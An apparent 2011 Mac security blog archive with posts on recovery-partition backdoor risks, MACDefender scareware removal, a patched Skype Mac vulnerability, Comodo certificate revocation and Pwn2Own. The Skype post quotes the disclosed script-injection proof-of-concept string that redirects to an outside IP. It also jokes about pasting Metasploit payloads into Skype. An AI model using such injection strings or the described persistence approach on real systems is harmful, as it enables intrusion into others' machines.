Mac OS X “Lion” and the Dangers of Restoring from a Partition
With the release of Mac OS X 10.7 “Lion”, Apple is changing the way we’ll be doing system upgrades. Lion will only be available to Snow Leopard users electronically through the Mac App Store, and thus it will no longer be possible to purchase a physical install DVD. Before I go into the intended topic of this post, allow me to <rant> about how I’m not too keen on this decision. As a result, it’s no longer possible to install OSX on Macs that don’t have an internet connection (yes, these do exist!). Even for those who do, many don’t have very fast internet connections, or may have extremely low usage caps. I know that UK internet providers still offer entry-level packages 5Mbit lines and stupidly low 1-5 GB monthly limits. Lion is likely to be about 4GBs in size. Oh, you want to install OSX on more than one Mac? Suuure, just download the 4GB install package on each Mac.</rant> You get the point…
The real thing I wanted to talk about is Apple’s solution to system re-installation or recovery, and specifically the security implications thereof. Installing Lion will cause it to create a small ‘recovery’ partition on your primary drive, which is essentially a partition equivalent of an install DVD. If you have a problem with your main OSX partition, and need to run repair utilities or reinstall, you just boot from the recovery partition. Sounds really useful actually, as you don’t need to worry about having a DVD handy. But where this solution brings ease-of-use and convenience, it also brings some security risks.
Although Mac OS X is still largely unaffected by malware, the winds of change are indeed upon us, and it’s unrealistic to assume the Mac will remain virus-free forever. As viruses get more complex they find ever-improving ways of making themselves persistent on a system. There are countless examples of Master Boot Record viruses on Windows where the only sure-fire solution is to completely wipe the hard drive and reinstall from CD/DVD. Because once your system is infected, good security practice forces you to assume that any file or executable is compromised. So, how does this affect a bootable recovery partition? If I were a virus writer, I’d make pretty darn sure that I infect a core installer file on the recovery partition so that any installation will have my virus. The nice thing about DVDs is that even if you insert them into an infected computer, they can’t be changed, and so you have complete confidence (barring a very advanced/rare firmware virus) that wiping and reinstalling from DVD yields a fresh and clean install of your system. As a security professional, I don’t think I’ll be able to trust a recovery partition like that.
But wait, there’s more. Viruses are a concern, but if you’re a smart user they’re not really a problem. We can run anti-virus, disable Flash, Java and Javascript, etc, and as long as you browse safely and don’t open random executables you’ll be perfectly fine. What about an attacker with remote or physical access to your computer? If I remotely hack into someone’s Mac, either due to a vulnerability or a weak password, all I have to do is modify a few files in the existing system and the recovery partition, and boom, persistent back door! The user can reinstall OSX all they want… my back door will simply be reinstalled with it.
But wait, there’s more. Even if your computer is completely secure from remote attacks, the same goes for someone with physical access to your Mac. Now, as a disclaimer, I have to point out that anytime an attacker gets physical access to any computer it’s game over. Even if you use FileVault, I may not be able to log in to your computer (unless some kind of cold boot attack is still possible), but I can easily boot your computer from a USB stick (or remove your hard drive if you have a Firmware password), trojan your recovery partition and corrupt your primary boot partition (similar to an Evil Maid attack). What are you going to do? Reinstall Mac OS X from my trojaned recovery partition of course! It’s not like you have a choice.
Any system compromise can lead to the installation of a persistent backdoor for the lifetime of the recovery partition on that hard drive. I don’t want to sound overly critical; I am probably one of the most fervent Apple supporters you’ll ever meet (with good reasons too), but not to the extent it stops me from thinking about potential impacts. I appreciate that Apple is trying to make things easier for Joe User. Being able to download updates electronically is awesome, and I honestly believe many would take advantage of that (myself included), but users should be given the choice. Particularly in situations like this where not having a physical install medium can have an impact on both usability and security.
My guess (or maybe hope) is that if Apple is not going to sell install DVDs itself, we may be allowed to burn our own install DVDs after downloading Lion from the Mac App Store. Either way, it is fairly trivial to burn the Lion installer onto a DVD – but users shouldn’t have to (or sometimes can’t) resort to a hack like that. Take heed, Apple.
[Update 21/07/11] Ok, so Apple isn’t going to allow users to burn their own DVDs, but they have confirmed that Lion will be available on a mini USB drive in August (for $69).
Locate Lost or Stolen Macs with ‘Find My Mac’ in Lion and iCloud
Apple’s popular Find My iPhone feature of MobileMe is being extended to Macs as well, as part of iCloud and Lion (10.7.2). It will also allow the person who found or stole the machine to login using a limited guest account (with only access to Safari), in order to allow your Mac to connect to the internet. As with the iOS version, Find My Mac will allow you to remotely send a message, lock or even wipe your computer.
I’m guessing the geolocation will be limited to triangulating local wireless networks, but I’m hoping it will also send back the public IP address of the network it’s currently connected to, which would help significantly when trying to recover a stolen device. I wonder how developers of commercial Mac tracking software are feeling right about now?
For more info and pictures check out this post at Cult of Mac. In other news, iOS 5 will finally bring the ability to delete entries from your call history.
Mac OS X Security Update 2011-003 adds MACDefender Protection [Updated]
Apple has released Security Update 2011-003 for Mac OS X 10.6 which updates the system’s built in ‘File Quarantine’ (aka. XProtect) mechanism to detect and remove OSX.MacDefender.A. More significantly, however, Apple has now enabled the ability for File Quarantine to receive daily updates to to its malware definition list, essentially giving Mac OS X a very simplistic built-in anti-virus. Now it’s just up to Apple to actually update the malware definitions list on a regular basis.
In System Preferences > Security > General, users can choose whether or not they want to “Automatically update safe downloads list”. I’m not sure “safe downloads list” is the best name for it however, as it doesn’t really help users understand what its purpose is. I highly recommend keeping this option checked. Note that the screenshot below is not a recommendation of what your preferences should look like, it’s merely highlighting the new option. For more into about configuring your Security settings check out Securing Leopard: Security, FileVault and Firewall (to be updated with this new setting shortly).
[Updated 01/06/2011] As I wholly expected, a new variant of MACDefender is already out in the wild that does not get detected by OSX’s File Quarantine. As File Quarantine is simply a blacklist of known malware, it does not have the ability to pick up on malware it doesn’t recognise. This will be a good test to see how quickly Apple responds and updates the File Quarantine definitions. If you installed the 2011-003 security update then your system is already set to check for new updates every 24 hours. Browse safe out there.
[Updated 02/06/2011] Apple has already updated the File Quarantine definitions for the latest MACDefender variant (OSX.MacDefender.C). Pretty good response time by Apple!
The State of Mac Malware
There’s been a lot of buzz recently about the sudden increase in Mac-specific malware cropping up so far this year. First people raved about the fairly tame and unthreatening BlackHole RAT trojan, then Mac users had to watch out for a slightly more crafty but avoidable MACDefender trojan, and now there’s news of a more advanced malware kit (Weyland-Yutani Bot) that has the ability to steal data entered into Firefox (Safari and Chrome currently unaffected, but expected to follow soon). AppleCare has reportedly been receiving a significant number of calls about the MACDefender trojan, and has issued a support document on how to deal with it.
Clearly some change is in the air, but exactly how does it affect normal Mac users? I for one actively look for Mac-based malware (eg. MACDefender), and have never stumbled across it by accident. Maybe I need to surf on the ‘dark side’ of the web more often. I just wanted to give my take on recent events and the state of Mac malware, and why I don’t think there’s any reason to be too worried just yet.
Mac OS X Skype 0day Remote Code Execution Vulnerability [Updated]
A fairly significant 0day vulnerability is being reported in the Skype client (< 5.1.0.922) for Mac OS X. By sending a specially-crafted instant message, an attacker may be able to remotely execute code on the recipient’s computer and gain access to a root shell. This issue has been discovered (by accident it seems) by Gordon Maddern of Australian security consultancy Pure Hacking.
“About a month ago I was chatting on skype to a collegue about a payload for one of our clients. Completely by accident, my payload executed in my collegues skype client. I decided to investigate a little further and found that the Windows and Linux clients were not vulnerable. It was only the Mac skype client that seemed to be affected. […] Low and behold (sic) I was able to remotely gain a shell.”
It is believed that due to the relative simplicity in the delivery of the payload, it may be possible for this attack to be automated in the form of a worm. Skype are aware of this issue, but have yet to release a patch (see below). Mac users should be extra careful until a patch is made available, and in the short term I recommend quitting Skype when not using it, or at least checking that your Skype client is set to only allow messages from your contacts (Skype > Preferences > Privacy Tab > Allow Messages From: Contacts).
No further details or proof-of-concept of the vulnerability are available as of yet, although I’d be interested to see it… time to start pasting random Metasploit payloads into Skype! ;)
[Updated 8/5/2011] Skype addressed this vulnerability in version 5.1.0.922 of the Mac OS X client. Run the updater by going to the Skype menu > Check for Updates, or download the latest version here.
Full disclosure of the vulnerability is now available here. In short, the issue was a persistent XSS that could be used to redirect the user to a malicious website. Here’s the PoC attack string:
http://www.example.com/?foo=”><script>document.location=’http://10.11.1.225′;</script>
Low Risk MACDefender Trojan is Easily Avoided
There have been widespread reports of people installing a trojan that masquerades as an anti-virus program dubbed MacDefender. When visiting a malicious or compromised website promoted by SEO (search engine) poisoning, some Mac OS X users using Safari are experiencing the automatic download of a disk image which then automatically mounts and launches an installer. Intego’s blog has a detailed report which shows that they’ve discovered instances of scareware, where the websites (ironically displaying a faux-Windows GUI) show a fake virus scan and inform the user that their computer is infected.
Note: The automatic mounting and execution of the installer can easily be prevented by unchecking the “Open ‘safe’ files after downloading” option in the Safari Preferences.
If the user installs it, the MacDefender app look very professionally done and is unlike any other OSX malware to date. It will periodically open porn sites, pop up warnings that the user’s computer is infected, and prompt them to purchase the MacDefender anti-virus software. The software purchase page is just a place to get the user’s credit card number, and no product is delivered.
For the most part this is a very low-risk trojan, and can easily be avoided by disabling the ‘safe files’ option, and not installing software that randomly appears on your computer. No website can arbitrarily scan your computer for malware, and if they tell you that you’re infected, they’re lying. If common sense and good security practice aren’t enough, you can install an anti-virus (eg. VirusBarrier or Sophos) that will pick up this trojan.
If you did accidentally install the trojan, it can be removed with the following steps:
- Open Activity Monitor (in /Applications/Utilities/), and find the MacDefender.app process in the list. If it’s there, select it and click ‘Quit Process’.
- Open System Preferences (in the Apple menu) and click on Accounts. Click on the Login Items tab for your user, and find MacDefender in the list. If it’s there, select it and remove it using the minus [-] button below the list.
- Delete MacDefender from your Applications folder.
Check out my article on Securing Leopard and Top 100 Security and Privacy Tips!
[Update 5/5/11] There are reports of variants of the MACDefender trojan going around under the name “Mac Security” or “Mac Shield”. For the reversers, check out this reverse engineering of the MACDefender binary.
Updates: Mac OS X 2011-002, Safari 5.0.5, iOS 4.3.2
Apple has released several security updates which patch vulnerabilities in the way Mac OS X and iOS handle certificate trust. This comes off the back of the recent Comodo hack in which several fraudulent – yet valid – SSL certificates were created for a number of prominent websites, rendering users vulnerable to potential man-in-the-middle attacks. These updates (2011-002 and iOS 4.3.2/4.2.7) improve the way certificate verification is performed in OSX and iOS. The Safari 5.0.5 update patches two critical bugs which could result in remote code execution.
In other news: Updates to Safari in Mac OS X 10.7 “Lion” have shown that the browser will bring support for the new Do-Not-Track functionality, intended to give users the ability to opt-out from tracking by Third Party tracking and ad companies. Whether or not this functionality will be fully respected by third parties remains to be seen. Lastly, a tethered jailbreak for iOS 4.3.2 has already been released.
Safari, Mac OS X and Fraudulent SSL Certificates (Comodo)
Following the recent hacking of Comodo, a certificate authority that distributes SSL certificates, web users to the following domains are at a higher risk of phishing and sniffing attacks:
- login.live.com
- mail.google.com
- www.google.com
- login.yahoo.com
- login.skype.com
- addons.mozilla.org
Attackers were able to obtain SSL certificates for these domains, essentially allowing them to pose as those websites. The certificates have since been revoked by Comodo, however this relies on browsers checking for them by checking Comodo’s Certificate Revocation List (CRL) and having the Online Certificate Status Protocol (OCSP) enabled. Firefox and Chrome were updated last week to block the fraudulent certs, but Safari doesn’t do CRL and OCSP checking by default.
Hit the jump for how to enable these checks in OSX and Safari. Read more
Mac OS X 10.6.7 and Security Update 2011-001
Apple has released 10.6.7 and its first security patch of the year, 2011-001, fixing a large number of bugs and vulnerabilities. In particular it fixes a known graphics bug in the 2011 MacBook Pros. It also improves Back To My Mac connectivity and SMB (windows file sharing). From a security perspective it fixes issues in a number of components including the Kernel, Airport, ImageIO, and QuickTime, many of which potentially lead to remote code execution. This update also adds detection for the OSX.OpinionSpy spyware to Mac OS X’s built-in file quarantine.
It’s a fairly big update, so users are naturally advised to patch soon. Hit the jump for the full list of security issues fixed. Read more
Browser and Smartphone Exploits Fly at Pwn2Own [Recap]
With Google offering $20,000 for a Chrome sandbox exploit, Apple releasing fresh security updates, and the organisers allowing researchers to target mobile phone basebands, it was sure make for an interesting Pwn2Own contest at CanSecWest this year.
For the fifth year running, Pwn2Own invited security researchers to discover vulnerabilities and develop exploits for the most popular browsers on Mac OS X and Windows (for some reason Linux is left out this year). Traditionally IE, Firefox and Safari have gotten exploited, with Chrome being the last browser standing at last year’s competition. Google upped the ante by making it significantly more attractive to target their browser this year.
In short: Safari, Internet Explorer, iPhone and Blackberry were all successfully compromised. Chrome and Firefox survive. Hit the jump for the full details! Read more
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